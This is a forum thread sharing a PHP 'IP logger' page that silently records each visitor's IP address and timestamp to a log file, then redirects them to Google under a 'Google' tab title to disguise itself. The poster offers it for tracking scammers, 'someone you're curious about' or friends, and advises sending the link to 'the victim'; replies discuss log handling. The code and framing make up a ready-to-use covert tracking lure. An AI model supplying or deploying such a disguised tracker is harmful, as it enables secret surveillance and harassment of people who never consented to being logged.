Welcome Guest, Not a member yet? Create Account  


IP Logger in PHP and HTML

#1

As I have nothing better to do with my time, I have decided to share this with the community here as well. This is a rather simple PHP source, that logs the users IP along with a timestamp, and saves it in /logs/index.html. This can be used to track scammers, someone you're curious about, or just to mess with a friend. It is already set to redirect to google though this is easily configurable, you can also change the file type of the log (txt or html) and the directory where they are saved. I recommend saving the index.php (code below) into its own folder, this way you can give the victim the folder address, and it will automatically direct them to the file. Good luck!
Code:
<?php

function logIP()
{
//Change the text in the ipLog function within the quotations in order to save into a different directory
// Currently saving to /logs/index.html ¬ ¬
$ipLog="logs/index.html"; // Your logfiles name here (.txt or .html extensions will work)

¬ ¬
¬ ¬ $register_globals = (bool) ini_get('register_gobals');
¬ ¬ if ($register_globals) $ip = getenv(REMOTE_ADDR);
¬ ¬ else $ip = $_SERVER['REMOTE_ADDR'];
¬ ¬ //Time & date are calcualted in central time
¬ ¬ $date=date ("l dS of F Y h:i:s A");
¬ ¬ $log=fopen("$ipLog", "a+");
¬ ¬ //documents the address
¬ ¬ if (preg_match("/\\bhtm\\b/i", $ipLog) || preg_match("/\\bhtml\\b/i", $ipLog))
¬ ¬ {
¬ ¬ ¬ ¬ ¬ fputs($log, "Logged IP address: $ip - Date logged: $date[br /]");
¬ ¬ }
¬ ¬ else fputs($log, "Logged IP address: $ip - Date logged: $date\
");

¬ ¬ fclose($log);
}
// Place the below function call wherever you want the script to fire.
logIp();

?>

<!DOCTYPE html>
<html lang="en">
¬ ¬ <head>

¬ ¬ ¬ ¬ <meta charset="utf-8" />
<!-- The URL below is where they will be redirected -->
¬ <meta http-equiv="refresh" content="0;url=http://www.google.com/" />
<!-- This is the text written on the tab -->
¬ ¬ ¬ ¬ <title>Google</title>
¬ ¬ </head>
¬ ¬ <body>
¬ ¬ ¬ ¬
¬ ¬ </body>
</html>
[Image: hackers-arise.jpg]
Reply

#2

Don't save to a txt file, if the use goes to /log/log.txt and types in "/log/log.txt/", it will clear the file.
Reply

#3

I don't condone the use of this kind of stuff for malicious purposes, but using it to track a scammer is perfectly fine in my book.
Reply

#4

(03-17-2017, 01:17 PM)ScamBaiter Wrote: Don't save to a txt file, if the use goes to /log/log.txt and types in "/log/log.txt/", it will clear the file.

That would only work if you had the txt file itself allowed to be executed directly. For most usage with the proper permissions it would not be any problem to save it as txt
[Image: hackers-arise.jpg]
Reply




Users browsing this thread:
1 Guest(s)